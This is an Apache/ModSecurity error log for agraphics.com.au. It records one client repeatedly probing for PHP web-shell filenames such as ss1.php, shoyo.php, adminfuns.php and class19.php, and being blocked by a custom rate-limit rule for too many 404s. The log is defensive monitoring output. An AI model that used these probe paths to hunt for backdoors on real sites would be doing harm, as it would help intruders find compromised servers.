[Sun Jan 11 20:43:27.791105 2026] [:error] [pid 5153:tid 5194] [client 4.247.164.63:38426] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss1.php"] [unique_id "aWOa781QbNSPD9bRi77JswAAAEU"]
[Sun Jan 11 20:43:28.152065 2026] [:error] [pid 5153:tid 5210] [client 4.247.164.63:5477] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss1.php"] [unique_id "aWOa8M1QbNSPD9bRi77JtQAAAFU"]
[Sun Jan 11 20:43:28.984090 2026] [:error] [pid 5153:tid 5197] [client 4.247.164.63:35230] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss1.php"] [unique_id "aWOa8M1QbNSPD9bRi77JugAAAEg"]
[Sun Jan 11 20:43:29.533198 2026] [:error] [pid 40191:tid 40196] [client 4.247.164.63:38473] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss1.php"] [unique_id "aWOa8Um2BH1CV1p0EUHULwAAAsM"]
[Sun Jan 11 20:43:30.055036 2026] [:error] [pid 40191:tid 40193] [client 4.247.164.63:38500] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aWOa8km2BH1CV1p0EUHUMAAAAsA"]
[Sun Jan 11 20:43:30.834998 2026] [:error] [pid 36611:tid 36623] [client 4.247.164.63:38512] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aWOa8j8oZoZHsoTdjhhgNwAAAko"]
[Sun Jan 11 20:43:31.386270 2026] [:error] [pid 36611:tid 36637] [client 4.247.164.63:28275] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aWOa8z8oZoZHsoTdjhhgOQAAAlg"]
[Sun Jan 11 20:43:31.853244 2026] [:error] [pid 40191:tid 40214] [client 4.247.164.63:28270] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aWOa80m2BH1CV1p0EUHUOQAAAtU"]
[Sun Jan 11 20:43:32.181133 2026] [:error] [pid 5272:tid 5294] [client 4.247.164.63:38503] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aWOa9Fp55bCsukUvYGZ08AAAANQ"]
[Sun Jan 11 20:43:32.846338 2026] [:error] [pid 11748:tid 11785] [client 4.247.164.63:27167] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aWOa9AC5xybrWOCNnoYBBQAAAYc"]
[Sun Jan 11 20:43:33.228641 2026] [:error] [pid 5272:tid 5278] [client 4.247.164.63:33427] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aWOa9Vp55bCsukUvYGZ08wAAAMQ"]
[Sun Jan 11 20:43:33.658602 2026] [:error] [pid 5153:tid 5191] [client 4.247.164.63:62731] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aWOa9c1QbNSPD9bRi77JvwAAAEI"]
[Sun Jan 11 20:43:34.080594 2026] [:error] [pid 11748:tid 11779] [client 4.247.164.63:27148] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa9gC5xybrWOCNnoYBBwAAAYE"]
[Sun Jan 11 20:43:34.621998 2026] [:error] [pid 36611:tid 36619] [client 4.247.164.63:62747] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa9j8oZoZHsoTdjhhgOgAAAkY"]
[Sun Jan 11 20:43:34.988728 2026] [:error] [pid 5153:tid 5205] [client 4.247.164.63:62760] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa9s1QbNSPD9bRi77JwQAAAFA"]
[Sun Jan 11 20:43:35.395212 2026] [:error] [pid 36611:tid 36625] [client 4.247.164.63:35342] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa9z8oZoZHsoTdjhhgPQAAAkw"]
[Sun Jan 11 20:43:35.771779 2026] [:error] [pid 11748:tid 11786] [client 4.247.164.63:53769] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWOa9wC5xybrWOCNnoYBCQAAAYg"]
[Sun Jan 11 20:43:36.145715 2026] [:error] [pid 11748:tid 11801] [client 4.247.164.63:36298] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWOa-AC5xybrWOCNnoYBCwAAAZc"]
[Sun Jan 11 20:43:36.510221 2026] [:error] [pid 11748:tid 11782] [client 4.247.164.63:28242] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWOa-AC5xybrWOCNnoYBDQAAAYQ"]
[Sun Jan 11 20:43:36.959521 2026] [:error] [pid 5155:tid 5223] [client 4.247.164.63:33441] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWOa-FgEKFpNs0_zLGkeuwAAAIc"]
[Sun Jan 11 20:43:37.401742 2026] [proxy_fcgi:error] [pid 5155:tid 5234] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:37.544556 2026] [proxy_fcgi:error] [pid 5155:tid 5227] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:37.709424 2026] [proxy_fcgi:error] [pid 5155:tid 5229] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:37.868644 2026] [proxy_fcgi:error] [pid 5155:tid 5226] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:38.017580 2026] [proxy_fcgi:error] [pid 5155:tid 5218] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:38.191090 2026] [proxy_fcgi:error] [pid 5155:tid 5220] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:38.375910 2026] [proxy_fcgi:error] [pid 5155:tid 5237] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:38.610781 2026] [proxy_fcgi:error] [pid 5155:tid 5219] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:38.754174 2026] [proxy_fcgi:error] [pid 5155:tid 5230] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:38.906742 2026] [proxy_fcgi:error] [pid 5155:tid 5217] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:39.051146 2026] [proxy_fcgi:error] [pid 5155:tid 5222] [client 4.247.164.63:62776] AH01071: Got error 'Primary script unknown'
[Sun Jan 11 20:43:39.190646 2026] [:error] [pid 5155:tid 5240] [client 4.247.164.63:62776] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWOa-1gEKFpNs0_zLGkeyQAAAJg"]
[Sun Jan 11 20:43:39.535055 2026] [:error] [pid 11748:tid 11786] [client 4.247.164.63:5386] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWOa-wC5xybrWOCNnoYBHQAAAYg"]
[Sun Jan 11 20:43:39.917953 2026] [:error] [pid 11748:tid 11801] [client 4.247.164.63:62766] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWOa-wC5xybrWOCNnoYBHgAAAZc"]
[Sun Jan 11 20:43:40.556363 2026] [:error] [pid 36611:tid 36616] [client 4.247.164.63:27200] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aWOa_D8oZoZHsoTdjhhgRAAAAkM"]
[Sun Jan 11 20:43:41.011337 2026] [:error] [pid 35730:tid 35741] [client 4.247.164.63:62737] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOa_Ti7U_mfHtESQHlcDwAAAck"]
[Sun Jan 11 20:43:41.376141 2026] [:error] [pid 5152:tid 5174] [client 4.247.164.63:5402] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOa_Rm0axGMFrpuXHCV-QAAAAw"]
[Sun Jan 11 20:43:41.714434 2026] [:error] [pid 5152:tid 5179] [client 4.247.164.63:27199] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOa_Rm0axGMFrpuXHCV-gAAABE"]
[Sun Jan 11 20:43:42.780474 2026] [:error] [pid 11748:tid 11797] [client 4.247.164.63:27252] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOa_gC5xybrWOCNnoYBIwAAAZM"]
[Sun Jan 11 20:43:43.299940 2026] [:error] [pid 35730:tid 35744] [client 4.247.164.63:5412] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWOa_zi7U_mfHtESQHlcEwAAAcw"]
[Sun Jan 11 20:43:43.697168 2026] [:error] [pid 35730:tid 35753] [client 4.247.164.63:35226] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWOa_zi7U_mfHtESQHlcFQAAAdU"]
[Sun Jan 11 20:43:44.041517 2026] [:error] [pid 35730:tid 35736] [client 4.247.164.63:35206] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWObADi7U_mfHtESQHlcFwAAAcQ"]
[Sun Jan 11 20:43:44.607181 2026] [:error] [pid 5155:tid 5236] [client 4.247.164.63:28244] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aWObAFgEKFpNs0_zLGkezgAAAJQ"]
[Sun Jan 11 20:43:45.087155 2026] [:error] [pid 5152:tid 5178] [client 4.247.164.63:36294] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObARm0axGMFrpuXHCV_gAAABA"]
[Sun Jan 11 20:43:45.722299 2026] [:error] [pid 5152:tid 5175] [client 4.247.164.63:5422] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObARm0axGMFrpuXHCV_wAAAA0"]
[Sun Jan 11 20:43:46.485317 2026] [:error] [pid 11748:tid 11790] [client 4.247.164.63:42066] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObAgC5xybrWOCNnoYBJgAAAYw"]
[Sun Jan 11 20:43:46.940479 2026] [:error] [pid 5152:tid 5165] [client 4.247.164.63:32468] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObAhm0axGMFrpuXHCWAAAAAAM"]
[Sun Jan 11 20:43:47.466857 2026] [:error] [pid 11747:tid 11758] [client 4.247.164.63:5655] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWObA6RFw84LNpZSk7niNQAAAUc"]
[Sun Jan 11 20:43:47.888453 2026] [:error] [pid 36611:tid 36623] [client 4.247.164.63:32481] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWObAz8oZoZHsoTdjhhgSgAAAko"]
[Sun Jan 11 20:43:48.423002 2026] [:error] [pid 40191:tid 40209] [client 4.247.164.63:31970] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWObBEm2BH1CV1p0EUHUUwAAAtA"]
[Sun Jan 11 20:43:49.167710 2026] [:error] [pid 5155:tid 5226] [client 4.247.164.63:42107] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aWObBVgEKFpNs0_zLGke0QAAAIo"]
[Sun Jan 11 20:43:49.525450 2026] [:error] [pid 11747:tid 11769] [client 4.247.164.63:35256] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aWObBaRFw84LNpZSk7niNgAAAVI"]
[Sun Jan 11 20:43:50.583969 2026] [:error] [pid 5155:tid 5239] [client 4.247.164.63:41467] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aWObBlgEKFpNs0_zLGke1AAAAJc"]
[Sun Jan 11 20:43:51.077695 2026] [:error] [pid 35730:tid 35750] [client 4.247.164.63:42000] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aWObBzi7U_mfHtESQHlcHgAAAdI"]
[Sun Jan 11 20:43:51.573287 2026] [:error] [pid 5272:tid 5278] [client 4.247.164.63:44070] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "aWObB1p55bCsukUvYGZ1BgAAAMQ"]
[Sun Jan 11 20:43:51.991928 2026] [:error] [pid 11748:tid 11796] [client 4.247.164.63:29298] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aWObBwC5xybrWOCNnoYBKQAAAZI"]
[Sun Jan 11 20:43:52.478747 2026] [:error] [pid 5272:tid 5288] [client 4.247.164.63:42018] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aWObCFp55bCsukUvYGZ1BwAAAM4"]
[Sun Jan 11 20:43:52.962954 2026] [:error] [pid 5152:tid 5169] [client 4.247.164.63:44067] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aWObCBm0axGMFrpuXHCWBQAAAAc"]
[Sun Jan 11 20:43:53.785605 2026] [:error] [pid 35730:tid 35742] [client 4.247.164.63:34818] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aWObCTi7U_mfHtESQHlcIAAAAco"]
[Sun Jan 11 20:43:54.226329 2026] [:error] [pid 35977:tid 35982] [client 4.247.164.63:34334] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWObCrDST5RMqStLeP15VQAAAgI"]
[Sun Jan 11 20:43:54.576700 2026] [:error] [pid 5272:tid 5274] [client 4.247.164.63:44481] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWObClp55bCsukUvYGZ1CAAAAMA"]
[Sun Jan 11 20:43:54.923254 2026] [:error] [pid 11748:tid 11779] [client 4.247.164.63:53704] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWObCgC5xybrWOCNnoYBKwAAAYE"]
[Sun Jan 11 20:43:55.486644 2026] [:error] [pid 35977:tid 35989] [client 4.247.164.63:53754] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWObC7DST5RMqStLeP15VgAAAgk"]
[Sun Jan 11 20:43:56.005813 2026] [:error] [pid 11747:tid 11752] [client 4.247.164.63:31923] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aWObDKRFw84LNpZSk7niOAAAAUE"]
